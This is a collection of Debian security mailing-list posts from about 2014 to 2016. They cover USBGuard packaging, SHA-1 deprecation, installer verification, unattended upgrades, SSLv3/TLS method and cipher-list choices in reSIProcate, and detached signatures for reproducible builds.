Re: Bug#791919: RFP: USBGuard -- protect your computer against rogue USB devices
Hello, On 05/22/2016 12:25 AM, Rebecca N. Palmer wrote: Control: merge -1 813809 I'd also like to see this (or an equivalent: I'm not aware of any, but haven't looked much) in Debian, and am willing to try packaging it, but am not sure whether it's a good idea for a non-DD, non-security-specialist to maintain a security tool. feel free to contact me if there are any issues with the upstream code w.r.t. packaging in Debian. I haven't packaged anything for Debian yet, so I won't be of much help in that area but I can try. It's in Fedora, with packaging [0] that looks fairly easy to translate to Debian (if that's legal - I don't know whether License: in a Fedora .spec means "including this packaging"); What is the legal problem here? I think the default license for the .spec file is MIT: https://fedoraproject.org/wiki/Licensing:Main?rd=Licensing#License_of_Fedora_SPEC_Files The upstream repository (which includes the .spec file too) is licensed under GPLv2+. That's probably an inconsistency that I should fix... Regards, -- Daniel Kopeček Software Engineer, Special Projects Red Hat, Inc.
Re: Debian SHA-1 deprecation
On 19/05/16 03:17, Paul Wise wrote: > On Wed, May 18, 2016 at 9:20 PM, Daniel Pocock wrote: > >> Can anybody comment on how Debian users will be impacted by SHA-1 >> deprecation? > > There is some info related to that in these two wiki pages: > > https://wiki.debian.org/SHA-1 The way that page is structured today, it mixes things about how SHA-1 is used in Debian infrastructure (e.g. for the SPI CA) and how it is used in some of the software we distributed (e.g. in Git) Maybe we need to break it into separate sections: - SHA-1 in Debian infrastructure and workflows - SHA-1 in Debian packages Are there any useful discussions about the deprecation of MD-5 that we could link to, to give people an understanding of how things will change or how they should change? > https://wiki.debian.org/Teams/Apt/Sha1Removal >
Debian SHA-1 deprecation
Can anybody comment on how Debian users will be impacted by SHA-1 deprecation? In particular: - will libraries like OpenSSL and GnuTLS continue to support it in stretch and beyond? - will web servers like Apache support it in server certificates or certificate chains? - will web servers and other applications accept client certificates containing SHA-1 hashes? - if support for SHA-1 is being removed or disabled by default, will it also be disabled in security updates to jessie and wheezy LTS?
Re: Remove email
mv tiffanyryan2...@gmail.com /dev/null 2016-03-31 9:42 GMT-05:00 Tiffany Ryan <tiffanyryan2...@gmail.com>: > Please remove my email from you system > > tiffanyryan2...@gmail.com > -- "La imaginación es más importante que el conocimiento. Einstein" *Daniel Romo* *SysAdmin* / Linit.biz <http://linit.biz> d4nnr.blogspot.com.co #Blog_Personal
Re: [SECURITY] [DSA 3355-2] libvdpau regression update
On 11/03/2015 08:30 AM, Ansgar Burchardt wrote: > dak needs to forget that it has seen the file. Which means either > resigning it or ftp-master telling dak to do so. I just did the latter > and moved the upload back to the processing queue. Just tried the update and it worked fine. Thanks for the quick fix! Daniel
Re: [SECURITY] [DSA 3355-2] libvdpau regression update
Hi * the amd64 build for 0.8-3+deb8u2 seems to be missing from [1]. Is this an error or am I missing something? Thanks Daniel [1] http://security.debian.org/pool/updates/main/libv/libvdpau/ On 11/02/2015 08:27 PM, Alessandro Ghedini wrote: > - > Debian Security Advisory DSA-3355-2 secur...@debian.org > https://www.debian.org/security/ Alessandro Ghedini > November 02, 2015 https://www.debian.org/security/faq > - > > Package: libvdpau > Debian Bug : 802625 > > The previous update for libvdpau, DSA-3355-1, introduced a regression in > the stable distribution (jessie) causing a segmentation fault when the > DRI_PRIME environment variable is set. For reference, the original > advisory text follows. > > Florian Weimer of Red Hat Product Security discovered that libvdpau, the > VDPAU wrapper library, did not properly validate environment variables, > allowing local attackers to gain additional privileges. > > For the stable distribution (jessie), this problem has been fixed in > version 0.8-3+deb8u2. > > We recommend that you upgrade your libvdpau packages. > > Further information about Debian Security Advisories, how to apply > these updates to your system and frequently asked questions can be > found at: https://www.debian.org/security/ > > Mailing list: debian-security-annou...@lists.debian.org > >
Re: Verification of netboot installer and firmware files
On 09/06/2015 07:14 PM, Paul Wise wrote: > On Sun, Sep 6, 2015 at 10:20 AM, Daniel Reichelt wrote: > >> [1] >> http://ftp.nl.debian.org/debian/dists/stretch/main/installer-amd64/current/images/ > > ftp://ftp.debian.org/debian/dists/stretch/Release > ftp://ftp.debian.org/debian/dists/stretch/Release.gpg > >> [3] http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/ > > Probably better to use the ISO images that include firmware, these are signed: > > http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/current/amd64/iso-cd/ > Paul, thanks a lot for the hints. That'll do... Daniel
Verification of netboot installer and firmware files
Hey there I'm wondering if there's a practical way to verify the netboot installer files and firmware archives provided via [1]-[3]. I couldn't find anything similar to the signed (md5|shaX)sum files provided for the ISOs, nor any lines in the official installation guide about verification. Am I missing s.th.? Looking forward to suggestions! If I'm really the first one to bring this up: IMHO the simplest solution would be to gpg-sign the hash lists under [1]/[2] and provide signed hash lists for [3] as well. Thanks Daniel [1] http://ftp.nl.debian.org/debian/dists/stretch/main/installer-amd64/current/images/ [2] http://d-i.debian.org/daily-images/amd64/daily/ [3] http://cdimage.debian.org/cdimage/unofficial/non-free/firmware/
Re: are unattended updates a good idea?
On Sat, Jan 31, 2015 at 02:50:31PM +0100, Ml Ml wrote: Thank you very much! Your comments has been really helpful. Cheers, Mario On Sat, Jan 31, 2015 at 12:53 PM, Michael Zoet michael.z...@zoet.de wrote: Hi, Hello List, i have got about 50 Debian 6+7 Servers. They are doing all kind of things like Webserver, Mailserver, DNS, etc… I am using apticron to keep track of the updates, but i seem to use more and more time updating the hosts. Also, you should note that some services might be restarted automatically during this process, so if you have long running nightly jobs or something similar it might cause some issues. This issue could also true in reverse; Some service might have to be manually restarted to load updated libraries and such. MySQL server upgrades might break nightly jobs because of restarts, kernel upgrades would probably need a reboot etc so you should keep an eye on these things. That being said: We have used unattended-upgrades on our servers for a couple of years and we have never had any problems with the packages themselves yet though, so this seems to be a smaller problem. Still, you should consider having a test server with tools like needsrestart and apt-listchanges, and a test suite for your applications to check if they still work with the new packages and that every service is back to normal afterwards. Just sharing my thoughts about this. - Daniel -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/20150201051415.gb19...@noserver.visp.name
Re: SSL 3.0 and older ciphers selected in applications
On 08/12/14 21:28, Daniel Pocock wrote: On 08/12/14 21:16, Kurt Roeckx wrote: On Mon, Dec 08, 2014 at 08:17:53PM +0100, Daniel Pocock wrote: If I understand your reply correctly, the version in Ubuntu and Fedora will still talk TLS 1.0 with the version now waiting in jessie? Yes. Do you believe it would be reasonable for me to request a smaller unblock that just changes the call TLSv1_method to SSLv23_method? That depends on wether it's acting as client or server. If it's acting as server I say yes. If it's acting as client I suggest you also have a way to turn off TLS 1.2. I understand that it needs to be able to talk to many different things and TLS 1.2 has has been breaking things it shouldn't and you already indicated problems with some products. But maybe it just needs to be used for a while with the SSLv23 method to see if there are problems or not. It plays a few roles: a) repro acts as a WebSocket server (for WebRTC) b) in federated SIP, repro acts as both server and client c) in a phone system, repro acts as server (e.g. my home phone system has some Polycom desk phones, Jitsi with JDK1.7 and Lumicall on Android as clients) d) people use the reSIProcate library in all kinds of products where it is client (e.g. in Counterpath softphones) or server (e.g. in some commercial Session Border Controllers). All of these use cases are supported by the Debian packages. For the SIP proxy, repro, the smallest possible change to use SSLv23 as default would involve touching 6 lines of code in repro/ReproRunner.cxx, replacing SecurityTypes::TLSv1 with SecurityTypes::SSLv23 on each. As well as changing the server behavior, this also has the effect of enabling TLS 1.2 when acting as client in a federated SIP connection. For other uses of the library it is up to the developer to select SSLv23 when they call SipStack::addTransport Thanks for this feedback, I made a patch for the existing package and submitted another unblock: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=772634 To keep the change smaller, I just hardcoded it to use SSLv23_method and not to use TLS 1.2 for any client connections. This is still an improvement over the previous behavior of the package using TLS 1.0 for everything. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/54875743.1050...@pocock.pro
SSL 3.0 and older ciphers selected in applications
Hi all, I've made some changes to TLS code in reSIProcate - setting OpenSSL's SSL_OP_NO_SSLv3 by default when using SSLv23_method() - adding configuration options to override the options to SSL_CTX_set_options (as it is possible there will be some user with old VoIP hardware out there who wants SSL v3) - making the cipher list configurable in repro.config The release team didn't feel these things justify an unblock request[1]. Can anybody comment on this? Looking at the CVE details[2], it appears that some packages still support SSL v3 while I've heard many people just want to turn it off. Is it important for application developers to try and minimize the use of SSL v3 and older ciphers or will these things be phased out by changing the options centrally in the OpenSSL packages? I felt that by putting control of these things in the libresip API and the repro.config file it would help avoid situations where the package needs to be recompiled to deal with security patching and therefore reduce the burden on the security updates process. If it will help the release team, is there anybody from the security team who could review the changes in my debdiff? Regards, Daniel 1. http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=772487 2. https://security-tracker.debian.org/tracker/CVE-2014-3566 -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/54855e6d.9000...@pocock.pro
Re: Bug#772487: SSL 3.0 and older ciphers selected in applications
On 08/12/14 10:20, Adam D. Barratt wrote: On Mon, 2014-12-08 at 09:16 +0100, Daniel Pocock wrote: [...] If it will help the release team, is there anybody from the security team who could review the changes in my debdiff? Note that debian-security@lists.debian.org is not a contact address for the security team. (Also I don't see anything in the nack mail that says it was related to being unable to review the debdiff.) I wasn't suggesting that was the cause for the nack email although I remember some discussion around the wheezy release that the size of diffs is considered a factor in unblock requests. I understand that sometimes the security team have made decisions about what should go through to stable, e.g. for the browser version updates and the security team are also getting involved if some vulnerability is found in future so I value their opinion on this particular case. The WebSocket transport (which includes TLS support) in packages like reSIProcate, Kamailio and Asterisk needs to remain interoperable with the browsers and the server side also needs to remain secure throughout the life of jessie so there are a range of reasons I'm asking about this. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/54856fa5.8020...@pocock.pro
Re: SSL 3.0 and older ciphers selected in applications
On 08/12/14 10:48, Thijs Kinkhorst wrote: Hi Daniel, On Mon, December 8, 2014 09:16, Daniel Pocock wrote: I've made some changes to TLS code in reSIProcate - setting OpenSSL's SSL_OP_NO_SSLv3 by default when using SSLv23_method() - adding configuration options to override the options to SSL_CTX_set_options (as it is possible there will be some user with old VoIP hardware out there who wants SSL v3) - making the cipher list configurable in repro.config The release team didn't feel these things justify an unblock request[1]. Can anybody comment on this? Looking at the CVE details[2], it appears that some packages still support SSL v3 while I've heard many people just want to turn it off. Is it important for application developers to try and minimize the use of SSL v3 and older ciphers or will these things be phased out by changing the options centrally in the OpenSSL packages? I felt that by putting control of these things in the libresip API and the repro.config file it would help avoid situations where the package needs to be recompiled to deal with security patching and therefore reduce the burden on the security updates process. Until now, I've been very much in favour of and have been working to get changes into jessie that disable SSLv3 in applications and/or that make protocols and ciphers configurable. Recent history has shown a lot of SSL-related attacks so applications being configurable is indeed quite preferable where possible as it's likely that some other attack will pop up in the jessie lifetime. Disabling SSLv3 has indeed been done on the library level. Nonetheless I You mean the flag is set by default but the flag can be removed at runtime with SSL_CTX_clear_options? Or it is necessary to rebuild the OpenSSL binaries to get back SSLv3? think disabling it in applications and servers has been useful aswell because it aids in a proper understanding of why it doesn't work, and it helps against a case where an admin needs to use an SSLv3-enabled library for a specific service - he will then still not expose unrelated services on the system. In VoIP, there is a lot of legacy hardware around. People with old IP phones or ISDN gateway devices on a private VLAN may have a good reason to keep using SSL v3 and very little risk from doing so and so I wanted to make sure they still have that choice without re-compiling anything. For somebody who just installs the package though and wants to use it for federated SIP or WebRTC on the Internet, I want it to be both secure and compatible with browsers by default. I took a quick glance at your changes. Personally I think the option that removes options from the protocols list is rather counterintuitive and I've not seen it used in different places. Especially because the ciphers option seems to behave exactly opposite: that lists ciphers that /are/ allowed. The list of allowed ciphers is also not very impressive in terms of strongness, not sure where it's sourced from. My options work exactly the way that SSL_CTX_set_options and SSL_CTX_clear_options work in OpenSSL. The OpenSSL documents explain that it works that way: https://www.openssl.org/docs/ssl/SSL_CTX_set_options.html I agree it is not intuitive but as the document explains it well and the individual flags are also explained in the OpenSSL documentation I thought I would just stick with their approach. Nonetheless, I have no power obviously over the release team, and I understand that getting non-acute changes in at this point is too late since the published deadline for non-RC changes has passed on St Nicholas' eve. I can fully understand that these kinds of changes, especially if they touch a lot of code, fall fully within the definition of an important bug as there's no acute breakage currently, also considering that the library disables the protocol. We have to live with the fact that there will be an inevitable cutoff point for any release. We did our best to get as much as possible in, and now we'll have to deal with whatever ended up in that release through the security channels when the situation arrives. That is what is not so clear to me. In the SIP proxy (repro.deb package) it just uses TLSv1 by default. There is no exposure to SSLv3. However, the cipher list may not be strong enough: !SSLv2:aRSA+AES:aDSS+AES:@STRENGTH:aRSA+3DES:aDSS+3DES:aRSA+RC4+MEDIUM:aDSS+RC4+MEDIUM:aRSA+DES:aDSS+DES:aRSA+RC4:aDSS+RC4 so the bug I made against repro has severity important. In the library package (libresiprocate-1.9.deb) there is no default SSL/TLS mode. It uses whatever the project using the library selects. If some developer wants to enable dynamic selection of TLS version by using SSLv23_method then they are going to get SSLv3 too. So I put the security tag on that bug and made it serious. If the possible use of SSL v3 is not RC though I can change the severity of that bug down to important though. What is your
Re: SSL 3.0 and older ciphers selected in applications
On 08/12/14 11:12, Kurt Roeckx wrote: On Mon, Dec 08, 2014 at 09:16:45AM +0100, Daniel Pocock wrote: Hi all, I've made some changes to TLS code in reSIProcate - setting OpenSSL's SSL_OP_NO_SSLv3 by default when using SSLv23_method() This has no effect in jessie. SSLv2 and SSLv3 are disabled if you use the SSLv23_* methods. The only way to enable SSLv3 is to use the SSLv3_* methods. You should always use the SSLv23 method as those are the only that support more than 1 protocol version. Can you please clarify that - if somebody explicitly calls SSL_CTX_clear_options with SSL_OP_NO_SSLv3 will they get back support for SSLv3 in SSLv23_method? I would love to see people stopping the SSLv3 methods, and they have been removed in experimental. I'm also working on only having the SSLv23 method available. In VoIP, this is not so trivial. People have devices like IP phones and ISDN gateways to use on their LAN. Some of the older ones may not support anything more than SSL v3 very well. If these devices are used on a private VLAN then the risk of using old crypto is not the same as the risk on the public Internet so I prefer to give these people config options to support their hardware but disabled by default. Just one other point: if somebody is trying sending the client hello using SSL v2 record layer but indicating support for TLS v1.0, should TLSv1_method or SSLv23_method accept that? There is an example of it here: https://issues.asterisk.org/jira/browse/ASTERISK-13845 and it looks something like this: Secure Sockets Layer SSLv2 Record Layer: Client Hello ... Version: TLS 1.0 (0x0301) ... I've noticed that the reSIProcate code using TLSv1_method refuses to accept connections from peers like that. Should SSLv23_method support that even with v2 and v3 disabled? -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/54858094.6070...@pocock.pro
Re: SSL 3.0 and older ciphers selected in applications
On 08/12/14 12:04, Thijs Kinkhorst wrote: On Mon, December 8, 2014 11:17, Daniel Pocock wrote: In the library package (libresiprocate-1.9.deb) there is no default SSL/TLS mode. It uses whatever the project using the library selects. If some developer wants to enable dynamic selection of TLS version by using SSLv23_method then they are going to get SSLv3 too. So I put the security tag on that bug and made it serious. If the possible use of SSL v3 is not RC though I can change the severity of that bug down to important though. In non-browser situations I see the possible use as SSLv3 currently as undesirable but not as a critical issue. So changes addressing that now have missed the freeze deadline. Pity, but nothing can be done about that. What is your impression of the cipher list though? Should the MEDIUM entries, DES and RC4 stuff be in there or should I be getting rid of those and would that potentially justify an unblock or security bug? Although we're striving to remove said protocols in jessie, I do not think there's currently an acute security issue if they are enabled. And as you said yourself, there's a compatibility question at stake in your ecosystem which I know nothing about. There are two possibilities: a) users of the same product (another repro SIP proxy on Linux), users of a WebRTC browser (only works on browsers less than 12 months old), users of Lumicall (Android JVM) or Jitsi (should be JDK 1.6 or greater) - all basically using recent TLS client code. b) users of older VoIP hardware My intention for this package is that users in group (a) should be as secure as possible, without loss of compatibility, just using the default cipher list and protocol version in the package. Users in group (b) should be able to get it working by changing the configuration but it does not need to work for them with the defaults. All in all I see no issues here that would warrant a DSA if they should be present. So that makes it clear to me that a freeze exception on these grounds is currently also not in reach. Should lintian possibly scan packages to see if they define cipher lists so they can be checked across the whole distribution or is that already checked in some way? Would be nice, but I'm not sure I can devise a check that would recognise cipher lists in a reliable way. It is probably not hard to scan binaries to see if they call SSL_CTX_set_cipher_list Actually detecting the text being passed to that function would be more tricky though. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/548596b2.1090...@pocock.pro
Re: SSL 3.0 and older ciphers selected in applications
On 08/12/14 12:36, Kurt Roeckx wrote: On Mon, Dec 08, 2014 at 11:42:28AM +0100, Daniel Pocock wrote: On 08/12/14 11:12, Kurt Roeckx wrote: On Mon, Dec 08, 2014 at 09:16:45AM +0100, Daniel Pocock wrote: Hi all, I've made some changes to TLS code in reSIProcate - setting OpenSSL's SSL_OP_NO_SSLv3 by default when using SSLv23_method() This has no effect in jessie. SSLv2 and SSLv3 are disabled if you use the SSLv23_* methods. The only way to enable SSLv3 is to use the SSLv3_* methods. You should always use the SSLv23 method as those are the only that support more than 1 protocol version. Can you please clarify that - if somebody explicitly calls SSL_CTX_clear_options with SSL_OP_NO_SSLv3 will they get back support for SSLv3 in SSLv23_method? No, the library doesn't support SSLv3 in combination with the SSLv23 method. Setting or clearing SSL_OP_NO_SSLv3 doesn't have any effect. Thanks for confirming that. I would love to see people stopping the SSLv3 methods, and they have been removed in experimental. I'm also working on only having the SSLv23 method available. In VoIP, this is not so trivial. People have devices like IP phones and ISDN gateways to use on their LAN. Some of the older ones may not support anything more than SSL v3 very well. If these devices are used on a private VLAN then the risk of using old crypto is not the same as the risk on the public Internet so I prefer to give these people config options to support their hardware but disabled by default. So why use SSL at all? Only for cases where people may already have it configured that way. It is not an issue for my own personal use cases. Just one other point: if somebody is trying sending the client hello using SSL v2 record layer but indicating support for TLS v1.0, should TLSv1_method or SSLv23_method accept that? I would expect that both should support that. With TLSv1_method and reSIProcate/OpenSSL on wheezy it fails with error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number Error code = 336130315 file=s3_pkt.c line=348 There is an example of it here: https://issues.asterisk.org/jira/browse/ASTERISK-13845 and it looks something like this: Secure Sockets Layer SSLv2 Record Layer: Client Hello ... Version: TLS 1.0 (0x0301) ... I've noticed that the reSIProcate code using TLSv1_method refuses to accept connections from peers like that. Should SSLv23_method support that even with v2 and v3 disabled? Yes it should. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/54859797.6070...@pocock.pro
Re: SSL 3.0 and older ciphers selected in applications
On 08/12/14 13:53, Kurt Roeckx wrote: On Mon, Dec 08, 2014 at 01:20:39PM +0100, Daniel Pocock wrote: Just one other point: if somebody is trying sending the client hello using SSL v2 record layer but indicating support for TLS v1.0, should TLSv1_method or SSLv23_method accept that? I would expect that both should support that. With TLSv1_method and reSIProcate/OpenSSL on wheezy it fails with error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number Error code = 336130315 file=s3_pkt.c line=348 So I start an s_server with: openssl s_server -tls1 And then: openssl s_client: TLSv1 openssl s_client -tls1: TLSv1 I tried the s_server and s_client on both jessie and wheezy. This should just work. If both sides drop the -tls1 of course changes to TLSv1.2. But it really should always work, and if doesn't I'd argue that's a bug. But you say that it sends an SSLv2 compatible client hello. By default it shouldn't be doing that unless you change the ciphers suite to include SSLv2 ciphers and aren't using any extentions, and as far as I know you currently can't disable extentions in either wheez or jessie. It is the opposite - the remote system is sending the SSLv2 compatible client hello. The Debian/repro system is the server side. I have no idea what technology is in use in the remote/client system. If my server socket is using TLSv1_method it is rejecting the connection and logging those errors on my server: error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number Error code = 336130315 file=s3_pkt.c line=348 My server then sends TCP RST to the client -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/5485a904.4090...@pocock.pro
Re: SSL 3.0 and older ciphers selected in applications
On 08/12/14 18:58, Kurt Roeckx wrote: On Mon, Dec 08, 2014 at 02:35:00PM +0100, Daniel Pocock wrote: I have no idea what technology is in use in the remote/client system. If my server socket is using TLSv1_method it is rejecting the connection and logging those errors on my server: error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number Error code = 336130315 file=s3_pkt.c line=348 My server then sends TCP RST to the client So I can actually reproduce this with the s_client from squeeze, since that still generates an SSLv2 compatible client hello. That does fail talking to any server using the TLSv1 method but works talking to the SSLv23 method. Since I'm actually going to remove support for the TLSv1 method I don't intend to fix this. Will the TLSv1 method be removed in jessie or while jessie is still supported? If so, then applications like repro that use it by default will need to be patched. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/5485ec69.2030...@pocock.pro
Re: SSL 3.0 and older ciphers selected in applications
On 08/12/14 19:25, Kurt Roeckx wrote: On Mon, Dec 08, 2014 at 07:22:33PM +0100, Daniel Pocock wrote: Will the TLSv1 method be removed in jessie or while jessie is still supported? This is something post jessie. Is it something that is going to happen with Ubuntu releases next year (e.g. April 2015)? If so, it means that the repro package in jessie won't talk to a repro package in Ubuntu. -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/5485f12e.9090...@pocock.pro
Re: SSL 3.0 and older ciphers selected in applications
On 08/12/14 20:06, Kurt Roeckx wrote: On Mon, Dec 08, 2014 at 07:42:54PM +0100, Daniel Pocock wrote: Is it something that is going to happen with Ubuntu releases next year (e.g. April 2015)? If so, it means that the repro package in jessie won't talk to a repro package in Ubuntu. I think there is some misunderstanding. People have been using methods like SSLv3_* and TLSv1_* while they should use SSLv23_*. SSLv3_* only support SSL 3.0, TLSv1_* only support TLS 1.0, it does not support SSL 3.0 or TLS 1.1. SSLv23_* on the other hand supports all versions supported by library (but see below). The intention is to drop all methods that only support 1 protocol version and instead have only methods that support all versions (SSLv23). The library in jessie supports TLS 1.0 to TLS 1.2. However the the SSLv3 methods still exist in jessie so you can still talk SSL 3.0 in jessie. However the SSLv23 methods do not support SSL 3.0 in jessie anymore. They still supports SSL 3.0 in wheezy. That means if one side uses SSLv3_* and the the verion in jessie or later use SSLv23_* they will not talk to each other. And there are packages that have been fixed to stop using the SSLv3_* methods in jessie and they will not talk to the version in wheezy. The versie in wheezy really should also get fixed to use the SSLv23_* method. The SSLv3_* method has been removed in experimental and the TLSv1_* method will also be removed post jessie but I have no timeframe for that. But everybody really should only use the SSLv23_* methods. But the removal of the TLSv1_* methods should not cause any issue if you replace it by the SSLv23_* methods since there currently are no plans to drop support for TLS 1.0. What we have right now in jessie (and wheezy) is hard-coded to use TLSv1_method. The v1.9.8-1 upload to unstable, which will also propagate to the next Ubuntu and will also be uploaded to Fedora very soon, uses SSLv23_method If I understand your reply correctly, the version in Ubuntu and Fedora will still talk TLS 1.0 with the version now waiting in jessie? Do you believe it would be reasonable for me to request a smaller unblock that just changes the call TLSv1_method to SSLv23_method? -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/5485f961.8080...@pocock.pro
Re: SSL 3.0 and older ciphers selected in applications
On 08/12/14 21:16, Kurt Roeckx wrote: On Mon, Dec 08, 2014 at 08:17:53PM +0100, Daniel Pocock wrote: If I understand your reply correctly, the version in Ubuntu and Fedora will still talk TLS 1.0 with the version now waiting in jessie? Yes. Do you believe it would be reasonable for me to request a smaller unblock that just changes the call TLSv1_method to SSLv23_method? That depends on wether it's acting as client or server. If it's acting as server I say yes. If it's acting as client I suggest you also have a way to turn off TLS 1.2. I understand that it needs to be able to talk to many different things and TLS 1.2 has has been breaking things it shouldn't and you already indicated problems with some products. But maybe it just needs to be used for a while with the SSLv23 method to see if there are problems or not. It plays a few roles: a) repro acts as a WebSocket server (for WebRTC) b) in federated SIP, repro acts as both server and client c) in a phone system, repro acts as server (e.g. my home phone system has some Polycom desk phones, Jitsi with JDK1.7 and Lumicall on Android as clients) d) people use the reSIProcate library in all kinds of products where it is client (e.g. in Counterpath softphones) or server (e.g. in some commercial Session Border Controllers). All of these use cases are supported by the Debian packages. For the SIP proxy, repro, the smallest possible change to use SSLv23 as default would involve touching 6 lines of code in repro/ReproRunner.cxx, replacing SecurityTypes::TLSv1 with SecurityTypes::SSLv23 on each. As well as changing the server behavior, this also has the effect of enabling TLS 1.2 when acting as client in a federated SIP connection. For other uses of the library it is up to the developer to select SSLv23 when they call SipStack::addTransport -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/548609e1.7040...@pocock.pro
Re: [SECURITY] [DSA 3074-1] php5 security update
Just filed a bug: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=770105 cheers daniel -- To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: https://lists.debian.org/546bc6d3.9040...@nachtgeist.net
Re: [Reproducible-builds] concrete steps for improving apt downloading security and privacy
On 09/22/2014 04:07 AM, Elmar Stellnberger wrote: Am 22.09.14 um 01:52 schrieb Paul Wise: The Debian archive does not allow files to change their checksum, so every signature addition requires a new version number. That sounds like a bad idea to me. Yes, that is something we definitely do not want. Nonetheless it would still be an issue to have the package and the signatures in one file because we usually need them together. My only idea to realize this in spite of the said objection would be another proposal: Put the .deb and the signatures into one .ar called .sdeb and make tools like dpkg work on .sdebs or on .deb + signatures respecively. Whenever someone offers some packages for download that will be in the form of .sdebs while official debian repositories may separate both kinds of files. User interfaces like http://debtags.debian.net/search/ could then generate .sdebs on the fly to satisfy petted users. This is almost exactly what i proposed a couple days ago on the reproducible-builds mailing list [0], except that i used the extension .debs instead of .sdeb :) --dkg [0] http://lists.alioth.debian.org/pipermail/reproducible-builds/Week-of-Mon-20140915/000432.html signature.asc Description: OpenPGP digital signature
Re: [Reproducible-builds] concrete steps for improving apt downloading security and privacy
On 09/21/2014 02:04 PM, Elmar Stellnberger wrote: a well programmed dpkg-cmp. ... and as long as the tool should not be available simply un-ar and compare the data.tar.gz-s. fwiw, this suggestion fails to compare the contents of control.tar.gz, which includes the maintainer scripts (preinst, postinst, etc). If someone wanted to damage your system with a modified package, modified preinst and postinst scripts would be much more effective (they run as root, automatically upon package installation!) than just tweaking a given binary. i just wanted to point out that this theoretical dpkg-cmp is at least slightly more complex than the above suggestion makes it out to be. And of course there are many other tools already that use plain old cmp or digest comparisons against .deb packages already, and thinking about how to interoperate with existing infrastructure is important. --dkg signature.asc Description: OpenPGP digital signature
Re: [Reproducible-builds] concrete steps for improving apt downloading security and privacy
On 09/19/2014 06:07 AM, Elmar Stellnberger wrote: Isn`t there really any way to include the signatures in the header of the .deb files? Why not simply add multiple signature files in the control.tar.gz of a .deb just next to the md5sums which should in deed be a sha256sums (otherwise there is no way to establish a 'chain of trust'). That would not add any non-determinism because if it is done right then we can have all the signers in the package! If we succeed in creating reproducible builds (we're farther along toward that goal than i had dared hope, it's exciting!) then one of the nice opportunites we have is for other people or organizations to corroborate the build after the package is first distributed. For example, an upload to sid might have one signature (by the original uploader), but maybe it waits to transition to testing until there are corroborations from multiple builders. (Note: this is not a concrete proposal or an expectation of exactly what will happen, just a thought experiment) In this scenario, how do you propose to add those signatures into the package? If we bundle them into the .deb, then the size and digest of the .deb itself changes after it is first distributed. This seems like it would violate all sorts of existing expectations -- i can't imagine how many different tools and pieces of infrastructure expect that foo_1.2-3_mipsel.deb should always have the same size and digest. It would be far better than detaching the signatures from the package because the general use case where you need package signatures is the manual download of packages. Detached signatures are completely useless for such a use case! I don't think this is the case. People who download a .deb and verify it could also download the associated .buildinfo file and whichever signatures they'd like (or all of them) and verify the package that way. --dkg signature.asc Description: OpenPGP digital signature
Re: [Reproducible-builds] concrete steps for improving apt downloading security and privacy
On 09/19/2014 12:34 AM, Paul Wise wrote: On Fri, Sep 19, 2014 at 9:30 AM, Hans-Christoph Steiner wrote: Finally did this: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762153 Please note that you proposal to add signatures to .deb files will break reproducible builds because the hash of the .deb will differ depending on who signed it: https://wiki.debian.org/ReproducibleBuilds I think it would be far better to ship detached signatures in the archive since that allows for reproducible builds and also means there could be more than one signer (say one buildd, one Debian sponsor and one package maintainer). I agree with pabs on this. fwiw, i'm also hoping that we can ship at least one other signature for the upstream tarball (where such a thing exists): https://bugs.debian.org/759478 We also had a discussion in the reproducible-builds BoF at DC14 about how to deal with signatures on .buildinfo files, and came to the same conclusion: that a .buildinfo file should have detached signatures, to allow for multiple (corroborative) signers: https://wiki.debian.org/ReproducibleBuilds#A.buildinfo_signatures Note that a signature over a .buildinfo file should effectively cover the digest of the built .deb files, which should creates a strong cryptographic chain if you trust the hash function. Given that we would ultimately like one or more signed .buildinfo files shipped in the archive, and that they represent a way to have an builder's signature over a .deb, i think these make the idea of an internally-signed .deb redundant. Thanks to everyone who is thinking about and working on improving the cryptographic integrity of the archive! --dkg signature.asc Description: OpenPGP digital signature
Re: vacation mail
